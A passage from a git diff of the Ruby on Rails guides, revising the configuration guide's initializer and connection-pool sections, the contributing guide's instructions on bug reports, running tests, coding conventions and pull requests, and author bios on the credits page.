isn't logical and Rails will not be able to determine your initializer order. @@ -641,7 +915,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde * `initialize_cache` If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack. -* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer — which runs only if `cache_classes` is set to `false` — uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request. +* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer - which runs only if `cache_classes` is set to `false` - uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request. * `initialize_dependency_mechanism` If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them. @@ -649,37 +923,19 @@ Below is a comprehensive list of all the initializers found in Rails in the orde * `i18n.callbacks` In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request. -* `active_support.initialize_whiny_nils` Requires `active_support/whiny_nil` if `config.whiny_nils` is true. This file will output errors such as: - - ``` - Called id for nil, which would mistakenly be 4 — if you really wanted the id of nil, use object_id - ``` - - And: - - ``` - You have a nil object when you didn't expect it! - You might have expected an instance of Array. - The error occurred while evaluating nil.each - ``` - * `active_support.deprecation_behavior` Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values. * `active_support.initialize_time_zone` Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC". -* `active_support.initialize_beginning_of_week` Sets the default beginnig of week for the application based on `config.beginning_of_week` setting, which defaults to `:monday`. +* `active_support.initialize_beginning_of_week` Sets the default beginning of week for the application based on `config.beginning_of_week` setting, which defaults to `:monday`. * `action_dispatch.configure` Configures the `ActionDispatch::Http::URL.tld_length` to be set to the value of `config.action_dispatch.tld_length`. -* `action_view.cache_asset_ids` Sets `ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids` to `false` when Active Support loads, but only if `config.cache_classes` is too. - -* `action_view.javascript_expansions` Registers the expansions set up by `config.action_view.javascript_expansions` and `config.action_view.stylesheet_expansions` to be recognized by Action View and therefore usable in the views. - * `action_view.set_configs` Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through. -* `action_controller.logger` Sets `ActionController::Base.logger` — if it's not already set — to `Rails.logger`. +* `action_controller.logger` Sets `ActionController::Base.logger` - if it's not already set - to `Rails.logger`. -* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` — if it's not already set — to `Rails.cache`. +* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` - if it's not already set - to `Rails.cache`. * `action_controller.set_configs` Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through. @@ -687,7 +943,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde * `active_record.initialize_timezone` Sets `ActiveRecord::Base.time_zone_aware_attributes` to true, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`. -* `active_record.logger` Sets `ActiveRecord::Base.logger` — if it's not already set — to `Rails.logger`. +* `active_record.logger` Sets `ActiveRecord::Base.logger` - if it's not already set - to `Rails.logger`. * `active_record.set_configs` Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through. @@ -697,7 +953,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde * `active_record.set_dispatch_hooks` Resets all reloadable connections to the database if `config.cache_classes` is set to `false`. -* `action_mailer.logger` Sets `ActionMailer::Base.logger` — if it's not already set — to `Rails.logger`. +* `action_mailer.logger` Sets `ActionMailer::Base.logger` - if it's not already set - to `Rails.logger`. * `action_mailer.set_configs` Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through. @@ -723,11 +979,11 @@ Below is a comprehensive list of all the initializers found in Rails in the orde * `engines_blank_point` Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run. -* `add_generator_templates` Finds templates for generators at `lib/templates` for the application, railities and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference. +* `add_generator_templates` Finds templates for generators at `lib/templates` for the application, railties and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference. * `ensure_autoload_once_paths_as_subset` Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised. -* `add_to_prepare_blocks` The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be ran per request in development, or before the first request in production. +* `add_to_prepare_blocks` The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be run per request in development, or before the first request in production. * `add_builtin_route` If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application. @@ -754,8 +1010,40 @@ development: timeout: 5000 ``` -Since the connection pooling is handled inside of ActiveRecord by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. Initially, the database connection pool is empty and it will create additional connections as the demand for them increases, until it reaches the connection pool limit. +Since the connection pooling is handled inside of Active Record by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. Initially, the database connection pool is empty and it will create additional connections as the demand for them increases, until it reaches the connection pool limit. Any one request will check out a connection the first time it requires access to the database, after which it will check the connection back in, at the end of the request, meaning that the additional connection slot will be available again for the next request in the queue. -NOTE. If you have enabled `Rails.threadsafe!` mode then there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections. +If you try to use more connections than are available, Active Record will block +and wait for a connection from the pool. When it cannot get connection, a timeout +error similar to given below will be thrown. + +```ruby +ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5 seconds. The max pool size is currently 5; consider increasing it: +``` + +If you get the above error, you might want to increase the size of connection +pool by incrementing the `pool` option in `database.yml` + +NOTE. If you are running in a multi-threaded environment, there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections. + + +Custom configuration +-------------------- + +You can configure your own code through the Rails configuration object with custom configuration. It works like this: + + ```ruby + config.x.payment_processing.schedule = :daily + config.x.payment_processing.retries = 3 + config.x.super_debugger = true + ``` + +These configuration points are then available through the configuration object: + + ```ruby + Rails.configuration.x.payment_processing.schedule # => :daily + Rails.configuration.x.payment_processing.retries # => 3 + Rails.configuration.x.super_debugger # => true + Rails.configuration.x.super_debugger.not_set # => nil + ``` diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md index 7c5a472971..db3f19f8ac 100644 --- a/guides/source/contributing_to_ruby_on_rails.md +++ b/guides/source/contributing_to_ruby_on_rails.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Contributing to Ruby on Rails ============================= @@ -11,7 +13,7 @@ After reading this guide, you will know: * How to contribute to the Ruby on Rails documentation. * How to contribute to the Ruby on Rails code. -Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation — all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches. +Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation - all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches. -------------------------------------------------------------------------------- @@ -24,89 +26,51 @@ NOTE: Bugs in the most recent released version of Ruby on Rails are likely to ge ### Creating a Bug Report -If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under [Issues](https://github.com/rails/rails/issues) in case it was already reported. If you find no issue addressing it you can [add a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues). +If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under [Issues](https://github.com/rails/rails/issues) in case it has already been reported. If you are unable to find any open GitHub issues addressing the problem you found, your next step will be to [open a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.) -At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need at least to post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself — and others — to replicate the bug and figure out a fix. +Your issue report should contain a title and a clear description of the issue at the bare minimum. You should include as much relevant information as possible and should at least post a code sample that demonstrates the issue. It would be even better if you could include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix. Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment. +### Create a Self-Contained gist for Active Record and Action Controller Issues + +If you are filing a bug report, please use +[Active Record template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb) or +[Action Controller template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_gem.rb) +if the bug is found in a published gem, and +[Active Record template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb) or +[Action Controller template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_master.rb) +if the bug happens in the master branch. + ### Special Treatment for Security Issues WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The [Rails security policy page](http://rubyonrails.org/security) details the procedure to follow for security issues. ### What about Feature Requests? -Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed. - -If you'd like feedback on an idea for a feature before doing the work for make a patch, please send an email to the [rails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted." But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require. - -Setting Up a Development Environment ------------------------------------- - -To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to set up the tests on your own computer. - -### The Easy Way - -The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box). - -### The Hard Way - -In case you can't use the Rails development box, see section above, check [this other guide](development_dependencies_install.html). - -Testing Active Record ---------------------- - -This is how you run the Active Record test suite only for SQLite3: - -```bash -$ cd activerecord -$ bundle exec rake test_sqlite3 -``` - -You can now run the tests as you did for `sqlite3`. The tasks are respectively - -```bash -test_mysql -test_mysql2 -test_postgresql -``` - -Finally, - -```bash -$ bundle exec rake test -``` - -will now run the four of them in turn. - -You can also run any single test separately: - -```bash -$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb -``` - -You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server. - -### Warnings - -The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings. +Please don't put "feature request" items into GitHub Issues. If there's a new +feature that you want to see added to Ruby on Rails, you'll need to write the +code yourself - or convince someone else to partner with you to write the code. +Later in this guide you'll find detailed instructions for proposing a patch to +Ruby on Rails. If you enter a wish list item in GitHub Issues with no code, you +can expect it to be marked "invalid" as soon as it's reviewed. + +Sometimes, the line between 'bug' and 'feature' is a hard one to draw. +Generally, a feature is anything that adds new behavior, while a bug is +anything that fixes already existing behavior that is misbehaving. Sometimes, +the core team will have to make a judgement call. That said, the distinction +generally just affects which release your patch will get in to; we love feature +submissions! They just won't get backported to maintenance branches. + +If you'd like feedback on an idea for a feature before doing the work for make +a patch, please send an email to the [rails-core mailing +list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You +might get no response, which means that everyone is indifferent. You might find +someone who's also interested in building that feature. You might get a "This +won't be accepted." But it's the proper place to discuss new ideas. GitHub +Issues are not a particularly good venue for the sometimes long and involved +discussions new features require. -As of this writing (December, 2010) they are especially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag: - -```bash -$ RUBYOPT=-W0 bundle exec rake test -``` - -### Older Versions of Ruby on Rails - -If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch: - -```bash -$ git branch --track 3-0-stable origin/3-0-stable -$ git checkout 3-0-stable -``` - -TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with. Helping to Resolve Existing Issues ---------------------------------- @@ -147,20 +111,25 @@ After applying their branch, test it out! Here are some things to think about: Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like: -<blockquote> -I like the way you've restructured that code in generate_finder_sql — much nicer. The tests look good too. -</blockquote> +>I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too. If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request. Contributing to the Rails Documentation --------------------------------------- -Ruby on Rails has two main sets of documentation: the guides help you in learning about Ruby on Rails, and the API is a reference. +Ruby on Rails has two main sets of documentation: the guides, which help you +learn about Ruby on Rails, and the API, which serves as a reference. + +You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see [Translating Rails Guides](https://wiki.github.com/rails/docrails/translating-rails-guides). -You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see [Translating Rails Guides](https://wiki.github.com/lifo/docrails/translating-rails-guides). +You can either open a pull request to [Rails](http://github.com/rails/rails) or +ask the [Rails core team](http://rubyonrails.org/core) for commit access on +[docrails](http://github.com/rails/docrails) if you contribute regularly. +Please do not open pull requests in docrails, if you'd like to get feedback on your +change, ask for it in [Rails](http://github.com/rails/rails) instead. -If you're confident about your changes, you can push them directly yourself via [docrails](https://github.com/lifo/docrails). Docrails is a branch with an **open commit policy** and public write access. Commits to docrails are still reviewed, but this happens after they are pushed. Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. +Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. If you are unsure of the documentation changes, you can create an issue in the [Rails](https://github.com/rails/rails/issues) issues tracker on GitHub. @@ -168,16 +137,28 @@ When working with documentation, please take into account the [API Documentation NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements. -NOTE: To help our CI servers you can add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes. +NOTE: To help our CI servers you should add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes. WARNING: Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails. Contributing to the Rails Code ------------------------------ +### Setting Up a Development Environment + +To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to setup the tests on your own computer. + +#### The Easy Way + +The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box). + +#### The Hard Way + +In case you can't use the Rails development box, see [this other guide](development_dependencies_install.html). + ### Clone the Rails Repository -The first thing you need to do to be able to contribute code is to clone the repository: +To be able to contribute code, you need to clone the Rails repository: ```bash $ git clone git://github.com/rails/rails.git @@ -190,20 +171,33 @@ $ cd rails $ git checkout -b my_new_branch ``` -It doesn’t matter much what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails Git repository. +It doesn't matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository. + +### Running an Application Against Your Local Branch + +In case you need a dummy Rails app to test changes, the `--dev` flag of `rails new` generates an application that uses your local branch: + +```bash +$ cd rails +$ bundle exec rails new ~/my-test-app --dev +``` + +The application generated in `~/my-test-app` runs against your local branch +and in particular sees any modifications upon server reboot. ### Write Your Code -Now get busy and add or edit code. You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with `git branch -a`). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind: +Now get busy and add/edit code. You're on your branch now, so you can write whatever you want (make sure you're on the right branch with `git branch -a`). But if you're planning to submit your change back for inclusion in Rails, keep a few things in mind: * Get the code right. * Use Rails idioms and helpers. * Include tests that fail without your code, and pass with it. * Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution. -TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted. -### Follow the Coding Conventions +TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted (read more about [our rationales behind this decision](https://github.com/rails/rails/pull/13771#issuecomment-32746700)). + +#### Follow the Coding Conventions Rails follows a simple set of coding style conventions: @@ -213,20 +207,149 @@ Rails follows a simple set of coding style conventions: * Use Ruby >= 1.9 syntax for hashes. Prefer `{ a: :b }` over `{ :a => :b }`. * Prefer `&&`/`||` over `and`/`or`. * Prefer class << self over self.method for class methods. -* Use `MyClass.my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`. +* Use `my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`. * Use `a = b` and not `a=b`. * Use assert_not methods instead of refute. +* Prefer `method { do_stuff }` instead of `method{do_stuff}` for single-line blocks. * Follow the conventions in the source you see used already. -The above are guidelines — please use your best judgment in using them. +The above are guidelines - please use your best judgment in using them. + +### Benchmark Your Code + +If your change has an impact on the performance of Rails, please use the +[benchmark-ips](https://github.com/evanphx/benchmark-ips) gem to provide +benchmark results for comparison. + +Here's an example of using benchmark-ips: + +```ruby +require 'benchmark/ips' + +Benchmark.ips do |x| + x.report('addition') { 1 + 2 } + x.report('addition with send') { 1.send(:+, 2) } +end +``` + +This will generate a report with the following information: + +``` +Calculating ------------------------------------- + addition 69114 i/100ms + addition with send 64062 i/100ms +------------------------------------------------- + addition 5307644.4 (±3.5%) i/s - 26539776 in 5.007219s + addition with send 3702897.9 (±3.5%) i/s - 18513918 in 5.006723s +``` + +Please see the benchmark/ips [README](https://github.com/evanphx/benchmark-ips/blob/master/README.md) for more information. + +### Running Tests + +It is not customary in Rails to run the full test suite before pushing +changes. The railties test suite in particular takes a long time, and even +more if the source code is mounted in `/vagrant` as happens in the recommended +workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box). + +As a compromise, test what your code obviously affects, and if the change is +not in railties, run the whole test suite of the affected component. If all +tests are passing, that's enough to propose your contribution. We have +[Travis CI](https://travis-ci.org/rails/rails) as a safety net for catching +unexpected breakages elsewhere. + +#### Entire Rails: + +To run all the tests, do: + +```bash +$ cd rails +$ bundle exec rake test +``` + +#### For a Particular Component + +You can run tests only for a particular component (e.g. Action Pack). For example, +to run Action Mailer tests: + +```bash +$ cd actionmailer +$ bundle exec rake test +``` + +#### Running a Single Test + +You can run a single test through ruby. For instance: + +```bash +$ cd actionmailer +$ ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout +``` + +The `-n` option allows you to run a single method instead of the whole +file. + +#### Testing Active Record + +First, create the databases you'll need. For MySQL and PostgreSQL, +running the SQL statements `create database activerecord_unittest` and +`create database activerecord_unittest2` is sufficient. This is not +necessary for SQLite3. + +This is how you run the Active Record test suite only for SQLite3: + +```bash +$ cd activerecord +$ bundle exec rake test:sqlite3 +``` + +You can now run the tests as you did for `sqlite3`. The tasks are respectively + +```bash +test:mysql +test:mysql2 +test:postgresql +``` + +Finally, + +```bash +$ bundle exec rake test +``` + +will now run the four of them in turn. + +You can also run any single test separately: + +```bash +$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb +``` + +To run a single test against all adapters, use: + +```bash +$ bundle exec rake TEST=test/cases/associations/has_many_associations_test.rb +``` + +You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server. + +### Warnings + +The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings. + +If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag: + +```bash +$ RUBYOPT=-W0 bundle exec rake test +``` ### Updating the CHANGELOG The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version. -You should add an entry to the CHANGELOG of the framework that you modified if you're adding or removing a feature, commiting a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG. +You should add an entry to the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG. -A CHANGELOG entry should summarize what was changed and should end with author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach issue's number. Here is an example CHANGELOG entry: +A CHANGELOG entry should summarize what was changed and should end with author's name and it should go on top of a CHANGELOG. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry: ``` * Summary of a change that briefly describes what was changed. You can use multiple @@ -247,9 +370,13 @@ Your name can be added directly after the last word if you don't provide any cod ### Sanity Check -You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either. - -You might want also to check out the [RailsBridge BugMash](http://wiki.railsbridge.org/projects/railsbridge/wiki/BugMash) as a way to get involved in a group effort to improve Rails. This can help you get started and help you check your code when you're writing your first patches. +You should not be the only person who looks at the code before you submit it. +If you know someone else who uses Rails, try asking them if they'll check out +your work. If you don't know anyone else using Rails, try hopping into the IRC +room or posting about your idea to the rails-core mailing list. Doing this in +private before you push a patch out publicly is the "smoke test" for a patch: +if you can't convince one other developer of the beauty of your code, you’re +unlikely to convince the core team either. ### Commit Your Changes @@ -275,9 +402,9 @@ it should not be necessary to visit a webpage to check the history. Description can have multiple paragraphs and you can use code examples inside, just indent it with 4 spaces: - class PostsController + class ArticlesController def index - respond_with Post.limit(10) + render json: Article.limit(10) end end @@ -293,7 +420,7 @@ TIP. Please squash your commits into a single commit when appropriate. This simp ### Update Your Branch -It’s pretty likely that other changes to master have happened while you were working. Go get them: +It's pretty likely that other changes to master have happened while you were working. Go get them: ```bash $ git checkout master @@ -363,25 +490,47 @@ $ git push origin branch_name ### Issue a Pull Request -Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner. +Navigate to the Rails repository you just pushed to (e.g. +https://github.com/your-user-name/rails) and click on "Pull Requests" seen in +the right panel. On the next page, press "New pull request" in the upper right +hand corner. -Write your branch name in the branch field (this is filled with "master" by default) and press "Update Commit Range". +Click on "Edit", if you need to change the branches being compared (it compares +"master" by default) and press "Click to create a pull request for this +comparison". -Ensure the changesets you introduced are included in the "Commits" tab. Ensure that the "Files Changed" incorporate all of your changes. - -Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request". The Rails core team will be notified about your submission. +Ensure the changesets you introduced are included. Fill in some details about +your potential patch including a meaningful title. When finished, press "Send +pull request". The Rails core team will be notified about your submission. ### Get some Feedback -Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the [rubyonrails-core mailing list](http://groups.google.com/group/rubyonrails-core/) or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know. +Most pull requests will go through a few iterations before they get merged. +Different contributors will sometimes have different opinions, and often +patches will need revised before they can get merged. + +Some contributors to Rails have email notifications from GitHub turned on, but +others do not. Furthermore, (almost) everyone who works on Rails is a +volunteer, and so it may take a few days for you to get your first feedback on +a pull request. Don't despair! Sometimes it's quick, sometimes it's slow. Such +is the open source life. + +If it's been over a week, and you haven't heard anything, you might want to try +and nudge things along. You can use the [rubyonrails-core mailing +list](http://groups.google.com/group/rubyonrails-core/) for this. You can also +leave another comment on the pull request. + +While you're waiting for feedback on your pull request, open up a few other +pull requests and give someone else some! I'm sure they'll appreciate it in +the same way that you appreciate feedback on your patches. ### Iterate as Necessary -It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a gem. +It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into the knowledge of the community. If people are encouraging you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code doesn't belong in the core, you might still think about releasing it as a gem. #### Squashing commits -One of the things that we may ask you to do is "squash your commits," which +One of the things that we may ask you to do is to "squash your commits", which will combine all of your commits into a single commit. We prefer pull requests that are a single commit. This makes it easier to backport changes to stable branches, squashing makes it easier to revert bad commits, and the git history @@ -417,7 +566,35 @@ $ git push origin my_pull_request -f You should be able to refresh the pull request on GitHub and see that it has been updated. -### Backporting +#### Updating pull request + +Sometimes you will be asked to make some changes to the code you have +already committed. This can include amending existing commits. In this +case Git will not allow you to push the changes as the pushed branch +and local branch do not match. Instead of opening a new pull request, +you can force push to your branch on GitHub as described earlier in +squashing commits section: + +```bash +$ git push origin my_pull_request -f +``` + +This will update the branch and pull request on GitHub with your new code. Do +note that using force push may result in commits being lost on the remote branch; use it with care. + + +### Older Versions of Ruby on Rails + +If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 4-0-stable branch: + +```bash +$ git branch --track 4-0-stable origin/4-0-stable +$ git checkout 4-0-stable +``` + +TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with. + +#### Backporting Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort. diff --git a/guides/source/credits.html.erb b/guides/source/credits.html.erb index e25168d58d..61ea0b44ef 100644 --- a/guides/source/credits.html.erb +++ b/guides/source/credits.html.erb @@ -28,11 +28,11 @@ Ruby on Rails Guides: Credits <h3 class="section">Rails Guides Authors</h3> <%= author('Ryan Bigg', 'radar', 'radar.png') do %> -Ryan Bigg works as a consultant at <a href="http://rubyx.com">RubyX</a> and has been working with Rails since 2006. He's co-authoring a book called <a href="http://manning.com/katz">Rails 3 in Action</a> and he's written many gems which can be seen on <a href="http://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ryanbigg</a>. + Ryan Bigg works as the Community Manager at <a href="http://spreecommerce.com">Spree Commerce</a> and has been working with Rails since 2006. He's the author of <a href="https://leanpub.com/multi-tenancy-rails">Multi Tenancy With Rails</a> and co-author of <a href="http://manning.com/bigg2">Rails 4 in Action</a>. He's written many gems which can be seen on <a href="https://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ryanbigg</a>. <% end %> <%= author('Oscar Del Ben', 'oscardelben', 'oscardelben.jpg') do %> -Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wildfire</a>. He's a regular open source contributor (<a href="https://github.com/oscardelben">Github account</a>) and tweets regularly at <a href="https://twitter.com/oscardelben">@oscardelben</a>. +Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wildfire</a>. He's a regular open source contributor (<a href="https://github.com/oscardelben">GitHub account</a>) and tweets regularly at <a href="https://twitter.com/oscardelben">@oscardelben</a>. <% end %> <%= author('Frederick Cheung', 'fcheung') do %> @@ -40,7 +40,7 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi <% end %> <%= author('Tore Darell', 'toretore') do %> - Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the internet is his blog <a href="http://tore.darell.no">Sneaky Abstractions</a>. + Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. You can follow him on <a href="http://twitter.com/toretore">Twitter</a>. <% end %> <%= author('Jeff Dean', 'zilkey') do %> @@ 